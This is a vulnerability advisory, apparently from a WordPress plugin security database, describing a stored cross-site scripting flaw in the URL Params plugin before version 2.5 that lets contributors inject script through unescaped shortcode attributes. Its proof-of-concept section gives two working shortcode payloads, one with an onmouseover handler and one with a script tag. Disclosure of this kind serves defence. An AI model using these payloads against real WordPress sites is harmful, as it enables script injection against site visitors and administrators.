WordPress Plugin Vulnerabilities

URL Params < 2.5 - Contributor+ Stored XSS

Description

The plugin does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.

Proof of Concept

[urlparam htmltag='h1' attr='a' default='"onmouseover=alert(/XSS/)//']XSS[/urlparam]
​
[urlparam htmltag="script" attr="type" default="text/javascript"]alert(/XSS-tag/)[/urlparam]

Affects Plugins

Fixed in 2.5

References

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
Lana Codes
Submitter
Lana Codes
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2023-04-25 (about 1 years ago)
Added
2023-04-25 (about 1 years ago)
Last Updated
2023-04-25 (about 1 years ago)

Other